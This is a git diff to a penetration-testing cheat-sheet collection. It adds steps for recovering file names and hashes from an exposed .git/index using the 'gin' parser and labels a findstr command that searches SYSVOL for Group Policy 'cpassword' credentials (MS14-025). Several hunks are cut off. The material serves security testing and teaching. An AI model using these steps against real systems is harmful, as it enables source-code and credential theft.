diff --git a/CSRF injection/README.md b/CSRF injection/README.md index a49fea1..6d3d56e 100644 --- a/CSRF injection/README.md +++ b/CSRF injection/README.md @@ -40,7 +40,7 @@ When you are logged in to a certain site, you typically have a session. The iden ### HTML POST (AutoSubmit – No User Interaction) ```html -
diff --git a/Insecure source code management/README.md b/Insecure source code management/README.md index 53c8b09..755f868 100644 --- a/Insecure source code management/README.md +++ b/Insecure source code management/README.md @@ -72,6 +72,28 @@ Check for the following files, if they exist you can extract the .git folder. git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f ``` +### Recovering the content of .git/index + +Use the git index file parser, using python3 https://pypi.python.org/pypi/gin + +```powershell +pip3 install gin +gin ~/git-repo/.git/index +``` + +Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file. + +```powershell +$ gin .git/index | egrep -e "name|sha1" +name = AWS Amazon Bucket S3/README.md +sha1 = 862a3e58d138d6809405aa062249487bee074b98 + +name = CRLF injection/README.md +sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141 +``` + + + ### Automatic way : diggit.py ```powershell diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md index 99a8868..dfec679 100644 --- a/Methodology and Resources/Active Directory Attack.md +++ b/Methodology and Resources/Active Directory Attack.md @@ -129,13 +129,13 @@ smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw :triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local -Find password in SYSVOL +Find password in SYSVOL (MS14-025) ```powershell findstr /S /I cpassword \\